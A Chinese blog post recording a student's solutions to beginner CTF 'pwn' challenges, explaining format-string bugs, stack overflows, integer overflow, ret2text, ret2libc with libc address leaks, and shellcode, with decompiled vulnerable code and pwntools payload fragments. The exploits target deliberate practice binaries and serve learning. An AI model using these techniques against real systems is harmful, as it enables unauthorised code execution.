PWN PWN PWN!

本文最后更新于:2022年2月15日 晚上

写在前面

作为一个半退役的CTF web选手,在大三上学习了编译原理和操作系统原理之后,感觉可以学习pwn了!下面写一下在buu和攻防世界上pwn专题的刷题记录。

攻防世界

1.CGfsb

作为攻防世界pwn新手区的第一题,它的考点是printf函数的格式化字符串漏洞。

利用IDA64进行反编译后,在main函数中,我们发现了以下代码。

1
2
3
4
5
if ( pwnme == 8 )
{
puts("you pwned me, here is your flag:\n");
system("cat flag");
}

只要pwnme为8,我们就能获得flag。而在该题中,我们传入的一个参数s将直接作为printf的参数。

1
2
3
fgets(s, 100, stdin);
//...
printf(s); //漏洞所在点

实际上我们可以往s这个字符串里输入一个格式化的内容,比如 %s之类的,在c提供的一些格式化符号中,利用 %n可以实现内存任意写,理论上代码里定义的变量,我们都可以进行修改。

但是由于我十分菜,还不太会写payload,但是pwntools中提供了一个函数fmtstr_payload,只要我们输入一些参数,pwntools就能帮助我们快速构建payload。

fmstr_payload需要传递的参数主要是 偏移量offset 和一个字典,字典内部的key表示你要修改的变量的内存地址,value则表示修改后的值。

而这个offset是一个神秘的值,我不太理解它到底是什么,但是能够模仿大佬们的wp知道怎么求出这个值。

  1. 使用 AAAA %08x %08x %08x…的方式,找到41414141所在的位置,即offset

    %08x get offset

  2. 和第一种类似,只不过把%08x 换成 %p

    %p

实际情况下,%08x或者%p的数量可以多一些,这样某个神秘的指针就会在一次次调用中不断往后,直到找到41414141,即AAAA的ascii值,你就获得了你能够控制的格式化字符串的offset 偏移量。

然后第二个参数字典就非常容易了,在这道题中我们需要改变的pwnme变量的地址是 0x0804A068,然后想要改变为的值是8,我们就这样写来构造payload。

1
payload = fmtstr_payload(10, {0x080A4068: 8})

最终的payload如下。

2.level0

最简单的栈溢出。

栈溢出的思想就是通过程序中没有控制输入的长度,从而超出了某个变量应该限制的范围,影响到了外面的return之类的东西,从而进行程序流的劫持,比如我们把本来return后程序就结束了,然后我们把return的返回地址指导了一个backdoor函数,而这个后门函数一般就是一个shell,我们可以用来 cat flag。

在这道题中,我们利用IDA64可以看到一个vulnerable_function

1
2
3
4
5
ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF
return read(0, buf, 0x200uLL);
}

按理说buf字符串的长度应该只有128,但是这个程序却用read读了0x200这么长,即512的长度。

所以我们在把正常buf的内容用随便一些字符覆盖完后,我们就可以进行一些劫持工作了。

在IDA64中双击buf变量,我们可以看到buf的栈使用情况。

buf stack

我们可以看到buf 有0x80个空间,然后就是一个s和r。

这两个具体是啥我也不太懂,但是我们可以通过覆盖r中的值从而改变程序流向。

该程序中还存在一个callsystem函数,很显然,这就是我们期盼的后门函数了。

1
2
3
4
int callsystem()
{
return system("/bin/sh");
}

然后我们很容易写出payload脚本如下。

3.level2

这道题便是ctfwiki pwn中basic rop中的ret2libc例1的情况。

链接:基本 ROP - CTF Wiki (ctf-wiki.org)

该题首先对由于read函数读取的字符个数大于变量本身的限制,存在栈溢出。

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF

system("echo Input:");
return read(0, buf, 0x100u);
}

这道题中和level0不同,level0属于 ret2txt,即return回到已有的代码上,因为上题中的callsystem函数能够直接get shell,我们直接返回到它的地址即可。可惜这道题里没有这样成品的后门函数。

但是从IDA中我们可以看到代码有system函数,也有/bin/sh这个字符串,我们可以将他们进行按照函数调用的规则入栈,从而get shell。

入栈规则 首先传入system函数的plt地址,然后传入一个返回地址,最后传参数的地址。

这个返回地址我们可以随便写,为了凑足一个字(这道题是32位的,即4个字节),我们可以传4个字符作为返回地址。

这道题的payload代码里,我根据ctfwiki,使用了pwntools中flat函数,它可以让你免于写类似b'a'p32这种煞风景的结构,而自动帮你构建符合要求的payload。

4.get_shell

突然发现攻防世界的题目顺序每次都在变,那有点狗了。这道明明应该放在第一道的。

nc过去就是shell。以下是它的main函数。

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
puts("OK,this time we will get a shell.");
system("/bin/sh");
return 0;
}

5.hello_pwn

最简单的栈溢出。main函数如下。

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall main(int a1, char **a2, char **a3)
{
alarm(0x3Cu);
setbuf(stdout, 0LL);
puts("~~ welcome to ctf ~~ ");
puts("lets get helloworld for bof");
read(0, &unk_601068, 0x10uLL);
if ( dword_60106C == 1853186401 )
sub_400686();
return 0LL;
}

利用read函数读了16个字符,而unk_601068这个变量实际上只占4个空间,我们可以影响到栈下面的dword_60106C。把下面那个变量设置为1853186401即可获得flag。

栈情况

6.guess_num

仍然是栈溢出。但是这道题我不太明白为什么不能直接移除到ret2text的方式,直接去调用cat flag的函数,可能是和该题开启了canary的方式(运行过程中没有报错就挺奇怪的

最终猜数成功调用的函数

看了网上的wp,利用溢出去改变随机数的种子,让其产生的随机数固定,然后我们就能成功猜数,通过正常的程序流cat flag。总结一下就是利用栈溢出了,但是没有完全利用。

1
2
3
4
5
-0000000000000030 var_30          db 32 dup(?) //这是我们gets的那个变量
-0000000000000010 seed dd 2 dup(?) //wp需要改变这个
-0000000000000008 var_8 dq ?
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?) //为什么不能直接rop,可能是Cannary作怪

在看wp的过程中,还了解到在python中利用ctypes能够导入一个libc库从而直接运行c函数,非常牛皮。

7.int_overflow

本题中有strcpy函数提供栈溢出条件,同时题目设置了一道关卡,必须想到整数溢出通过关卡后才能去利用栈溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
char *__cdecl check_passwd(char *s)
{
char dest[11]; // [esp+4h] [ebp-14h] BYREF
unsigned __int8 v3; // [esp+Fh] [ebp-9h]

v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u ) //这里需要利用整数溢出绕过,因为我们的payload大于8个字节,可以使用260~263个字节的payload来绕过
{
puts("Invalid Password");
return (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
return strcpy(dest, s); //ret2txt,题目中设置了后门函数可以直接cat flag
}
}

在这道题中,由于payload较长,我们正常写payload可能会写成这样。

1
payload = b'a' * (0x14 + 4) + p32(success_plt) + b'a' * 232 

如果利用上flat来去掉一些难看的结构,我们可能会写成这样。

1
payload = flat([a * (0x14 + 4), success_plt, 'a' * 232])

但是这还是非常麻烦,特别是我们要手动算出最后要添加多少个a,来到达260的长度。

所以我现在利用flat函数的高阶用法,利用一个字典来指定第几位是什么值,其他的值就会自动补为a。

1
payload = flat([0x14 + 4: success_plt, 260: '1'])

8.cgpwn2

本题应该属于基本ROP中的ret2libc。没有现成的后门函数,比如system('/bin/sh')或者system('cat flag')之类的。

1
2
3
4
int pwn()
{
return system("echo hehehe");
}

但是这个后门函数中有system,我们再找到一个/bin/sh字符串就能够去手动调用了。可惜shift+F12,没有找到这个字符串。

我们观察可执行文件的运行流程,它会让我们输入姓名和一条信息,在信息那块有gets造成的栈溢出,而姓名那块我们则可以输入一个/bin/sh来手动把name变成我们需要的字符串。

可执行文件运行流程

9.string

这道题的流程相比之前所有的题目都要复杂。但是考点实际上只有两个,一个是格式化字符串漏洞,一个是shellcode的构建。

以下是这道题的主要流程

graph TD

main["主函数main<br>包含sub_400996<br>和sub_400D72<br>开局输出了两个secret地址<br>为之后的fmtstr利用"]
sub_400996["sub_400996<br>输出welcom信息"]
sub_400D72["sub_400D72(a1)<br>输入角色名<br>包含sub_400A7D<br>sub_400BB9<br>sub_400CA6(a1)"]
sub_400A7D["sub_400A7D<br>选择east or up<br>必须选择east"]
sub_400BB9["sub_400BB9<br>选择1还是0<br>必须选择1<br>然后提示输入一个地址<br>我们应该输入主函数中提示的secret地址<br>利用格式化字符串漏洞<br>将secret[0]变为85"]
sub_400CA6["sub_400CA6(a1)<br>在成功利用格式化字符串漏洞后<br>输入shellcode执行"]
main-->sub_400996-->sub_400D72
sub_400A7D-->sub_400BB9-->sub_400CA6

以下为程序中的关键代码

1
2
3
4
5
6
7
8
9
//sub_400BB9 函数
puts("A voice heard in your mind");
puts("'Give me an address'");
_isoc99_scanf("%ld", &v2); //输入地址
puts("And, you wish is:");
_isoc99_scanf("%s", format); //输入格式化字符串
puts("Your wish is");
printf(format);
puts("I hear it, I hear it....");
1
2
3
4
5
6
7
8
//main函数
if ( *a1 == a1[1] ) //需要利用sub_400BB9函数中的格式化字符串漏洞修改变量的值进入if循环
{
puts("Wizard: I will help you! USE YOU SPELL");
v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL); //
read(0, v1, 0x100uLL); //需要输入生成的shellcode
((void (__fastcall *)(_QWORD))v1)(0LL); //程序会运行我们输入shellcode
}

我在花了很久终于整理出流程并且有了解体思路后,由于我对格式化字符串漏洞不太熟练,之前做 cgfsb的时候只是用了pwntools中的fmtstr_payload,没有了解具体payload的实现原理,这里便一直无法突破第一关。

1
2
-0000000000000078 var_78          dq ?
-0000000000000070 format db ?

这是格式化字符串漏洞那个子函数里栈的情况,format是格式化字符串,var_78则是我们输入的地址。

根据 原理介绍 - CTF Wiki (ctf-wiki.org) 对格式化字符串原理的介绍,当格式化字符串中使用了 %d, %s之类的标记,但是没有指定参数,那么就会从format变量栈上面的变量中取值。所以相当于var_78已经指明了地址,现在我们的目标是将这个地址里的值变为85,我们可以使用以下payload。

1
payload = b'%85c%7$hhn'

首先这里我们主要利用的%标记是%n,它的功能是将之前输出的字符个数的值存放到对应的地址中,在这里,就会存放到var_78中,因为没有指定参数。

而这个payload中没有使用n而是使用了hhd,它们的区别是写的内存地址的长度,若是%n,则是向4个字节的内存地址写数据,%hn则是2个字节,%hhn则会是1个字节。因为这道题里我们需要改变的两个变量占的空间是8位,即1个字节,故我们这里使用%hhn

那为什么%hhn中间有7$,这个有点难以解释,我们可以暂且记为偏移量减去1。

偏移量是8

然后%85c用来快速生成85个字符,从而得到85这个数字存往var_78中,通过第一关。

然后我们可以利用以下代码生成shellcode

1
2
context(arch = "amd64") #因为这里用了asm构造的shellcode,必须指明架构。架构用checksec可以看
payload = asm(shellcraft.sh())

10.level3

攻防世界的最后一题啦!题目的流程很简单,就是一个输入,然后就没了,相比第九题string简单许多。

它的考点是ret2libc,利用libc来得到system函数的真实地址和/bin/sh的真实地址,然后调用获得shell。

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF

write(1, "Input:\n", 7u);
return read(0, buf, 0x100u); //读取大于0x88的数据,造成栈溢出漏洞
}

当我们在用C语言编程时,我们都会大量应用库函数,比如printf和scanf等,这些函数都是存在在动态链接库中的。

理论上我们可以使用动态链接库中的任意函数,但是这些函数在内存中的地址在程序运行的一开始是不知道的,这是为了提升效率,只有当真正去调用它的时候,才会进行绑定,这也叫做叫延迟绑定lazy bind。然后这个绑定后的真实地址会被存在GOT表中。

在这道题中,题目的附件里给了一个libc文件 libc_32.so.6。它实际上不神秘,它本质上也是一个ELF文件,也能用checksec查看保护情况。

libc_32.so.6 checksec

它也能用IDA打开,只不过它的函数特别特别多,我们可以在函数列表用ctrl + F来搜索我们想要查看的函数。

system 地址0x3A940

可以用shift + F12搜索我们想要的字符串。

/bin/sh 地址0x15902B

两个都有,但是它们在IDA里看到的地址并不是程序运行中实际上的地址。

我也不知道在IDA里可以看到的地址应该被称为什么,暂且叫为形式地址

这里有一个重要的关系,两个东西的形式地址的差和两个东西的真实地址的差是相同的。

因为所有的形式地址我们都是已知的,也就是只要知道了一个东西的真实地址,我们就可以求出其他任何东西的真实地址。

在这道题中的ELF文件中,有write函数,我们可以利用write函数打印的功能,把自己got表中的内容打印出来从而获得write函数在本次运行中在内存中的真实地址。

1
payload1 = flat({(0x88 + 4) : [level3.plt['write'], level3.symbols['main'], 1, level3.got['write'], 10]})

我们首先用plt直接调用write函数,然后之后的参数分别是 返回地址【这里设置为了main,让程序回到开始】,然后是write的三个参数,第一个参数1表示文件句柄,当1是应该会输出到终端,第二个参数就是我们想要输出的东西,第三个参数是输出的最大长度。

然后我们利用截取前4个字节,用u32,反打包为一个值。【u可以理解为unpack, p则是pack】

1
write_addr = u32(sh.recv()[:4])

这样我们就获得了write函数的真实地址,从而我们可以获得system和/bin/sh的真实地址。

1
2
sys_addr = write_addr + (libc.symbols['system'] - libc.symbols['write'])
bin_sh_addr = write_addr + (0x0015902b - libc.symbols['write'])

最后调用一波即可。

BUUCTF

1.test_your_nc

题如其名,nc后直接获得shell。

2.rip

这道题玄学的很,初学建议跳过这题。

考点就是ret2text,gets栈溢出+现成的后门漏洞直接get shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[15]; // [rsp+1h] [rbp-Fh] BYREF

puts("please input");
gets(s, argv); //栈溢出漏洞
puts(s);
puts("ok,bye!!!");
return 0;
}

int fun() //现成后门函数
{
return system("/bin/sh");
}

3.warmup_csaw_2016

发现BUUCTF的题里用flat函数构造payload的时候,具体的函数地址都需要封装,比如 flat({10: p64(sys_addr)}),而在攻防世界里不封装也没问题,挺奇怪的。以后为了保险都写上封装函数吧!

这道题也是最简单的ret2text。不多说。

4.ciscn_2019_n_1

还是ret2text。这道题的逻辑是通过gets造成的栈溢出修改一个变量的值,从而顺着程序流程获得flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
int func()
{
char v1[44]; // [rsp+0h] [rbp-30h] BYREF
float v2; // [rsp+2Ch] [rbp-4h]

v2 = 0.0;
puts("Let's guess the number.");
gets(v1); //栈溢出漏洞
if ( v2 == 11.28125 )
return system("cat /flag");
else
return puts("Its value should be 11.28125");
}

下面是栈情况

1
2
-0000000000000030 var_30          db 44 dup(?) //v1
-0000000000000004 var_4 dd ? //v2

我们需要将var_4里的值变成11.28125。然而我们不知道浮点数在计算机内部是如何表示的。

这时候我们可以在IDA View-A里按空格查看汇编代码。找到汇编里代码里的浮点数表示。

41348000h

5.pwn1_sctf_2016

还是ret2text。这道题与众不同的是,它是用c++写的,还用了string这个类,反汇编出来的代码十分反人类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int vuln()
{
const char *v0; // eax
char s[32]; // [esp+1Ch] [ebp-3Ch] BYREF
char v3[4]; // [esp+3Ch] [ebp-1Ch] BYREF
char v4[7]; // [esp+40h] [ebp-18h] BYREF
char v5; // [esp+47h] [ebp-11h] BYREF
char v6[7]; // [esp+48h] [ebp-10h] BYREF
char v7[5]; // [esp+4Fh] [ebp-9h] BYREF

printf("Tell me something about yourself: ");
fgets(s, 32, edata); //读入32个字符 fgets很安全
std::string::operator=(&input, s);
std::allocator<char>::allocator(&v5);
std::string::string(v4, "you", &v5);
std::allocator<char>::allocator(v7);
std::string::string(v6, "I", v7);
replace((std::string *)v3); //会把我们输入的I变成you
std::string::operator=(&input, v3, v6, v4);
std::string::~string(v3);
std::string::~string(v6);
std::allocator<char>::~allocator(v7);
std::string::~string(v4);
std::allocator<char>::~allocator(&v5);
v0 = (const char *)std::string::c_str((std::string *)&input);
strcpy(s, v0); //v0是将I变成you后的字符串,长度会很长,造成s的栈溢出从而ret2text
return printf("So, %s\n", s);
}

这道题里用的读入函数是fgets,按理来说是很安全的。但是题目中的逻辑会把字符串中的I变成you,从而将字符串长度变长,再加上strcpy函数的作妖,使得32个字节的s栈溢出。

6.jarvisoj_level0

攻防世界#2level0重复。最简单的ret2text,不多说。

7.ciscn_2019_c_1

此题和攻防世界 #10level3 一样,属于ret2libc。IDA中没有发现system,也没有/bin/sh字符串。

比level3还更难,因为level3直接提供了libc库文件,这道题里没有,我们需要利用LibcSearcher这个库来查找libc版本号。

这里我使用了 rycbar77/LibcSearcher: 根据函数地址查询libc,可本地或在线查询 (github.com) 维护的LibcSearcher,支持本地和在线查询,作者的安装教程也写的很详细。

程序中大量使用了puts函数来进行输出,一旦puts函数被使用,got表中就会存储其真实地址,于是我们再调用puts函数本身,把自己输出出来,作为查询libc版本的依据。

值得注意的是,由于本地是64位的linux,构造payload传递参数的时候,和32位不同。差别如下。

1
2
3
4
#32
elf.plt['puts'], 返回地址, 参数地址
#64位 需要利用rdi寄存器存储参数
pop_rdi_addr, 参数地址, elf.plt['puts'], 返回地址

其中pop_rdi_addr 可以用 ROPgadget --binary ciscn_2019_c_1 | grep "pop rdi"获得。

在获得puts函数的真实地址后,我们利用LibcSearcher查询libc版本,确定版本后,便可以根据两个函数真实地址的差和两个函数形式地址的差是相等的这个规律,获得system和/bin/sh的地址。

最后按照64位调用函数的格式调用即可。

这道题最后调用的时候还需要栈对齐,这玩意儿我还不太会,但是其格式就是在pop_rdi_addr前面加上ret的地址,先记住吧。


PWN PWN PWN!
https://wuuconix.link/2022/01/30/pwn/
作者
wuuconix
发布于
2022年1月30日
许可协议